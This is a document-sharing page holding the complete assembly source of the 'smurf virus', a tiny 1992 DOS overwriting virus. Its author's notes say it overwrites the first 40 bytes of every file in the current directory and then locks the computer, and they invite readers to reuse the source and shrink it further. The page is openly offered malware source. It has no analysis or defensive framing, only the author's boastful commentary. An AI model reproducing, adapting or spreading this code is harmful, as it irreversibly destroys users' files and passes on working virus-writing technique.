Download as txt, pdf, or txt
Download as txt, pdf, or txt
You are on page 1of 2

;---

; the smurf virus [40 bytes long]


;
; author : admiral bailey [yam '92]
; date : june 6 1992
; language : assembly [tasm 2.0]
;
; notes:the smurf virus was my first attempt at writing the smallest
; overwriting virus known. for a first attempt it wasn't that
; bad. so far i have got it down to 40 bytes. the record that
; does the same as this is about 38 bytes. so i gotta loose 2
; bytes in here somewhere. well seeing as this small thing is
; probably the easiest virus in the world to disassemble, i have
; included the source in this issue of evolution for all of you
; to take a look at. the source is for you to use. if you
; happend to make anything smaller using this source please just
; give recognition to myself, admiral bailey, saying that you got
; help looking at this source. the only thing that this does is
; find everyfile in the current directory and overwrite the 1st
; 40 bytes with itself. then locks your computer while it is in
; a search loop looking for more file when there are none. a
; neat thing about this is that it displays its entire self to
; the screen when executed. scan 91 notices this as the mini
; virus but i dont blame it seeing that you cant realy avoid
; scan when your virus gets this small. well enjoy the source...
; and remember if you use it and enjoy it just let me know.
;---
code segment
assume ds:code, ss:code, cs:code, es:code
org 100h ;make it a .com file

virus_start equ $

start:
mov dx,offset file_type ;type of file to look for
mov ah,4eh ;find first file command

infect:
int 21h
mov ax,3d02h ;open again to reset handle
mov dx,80h+1eh ;moves filename into dx
int 21h
mov bx,ax ;save handle again
mov cx,virus_length ;put size of virus in cx
mov dx,100h ;where the code starts
mov ah,40h ;write to handle command
int 21h ;write virus into file
mov ah,3eh ;close handle service
int 21h ;do it

find_next_file:
mov ah,4fh ;find next file command
jmp infect

file_type db '*.*',0
virus_end equ $
virus_length = virus_end - virus_start ;length of virus
code ends

end start

You might also like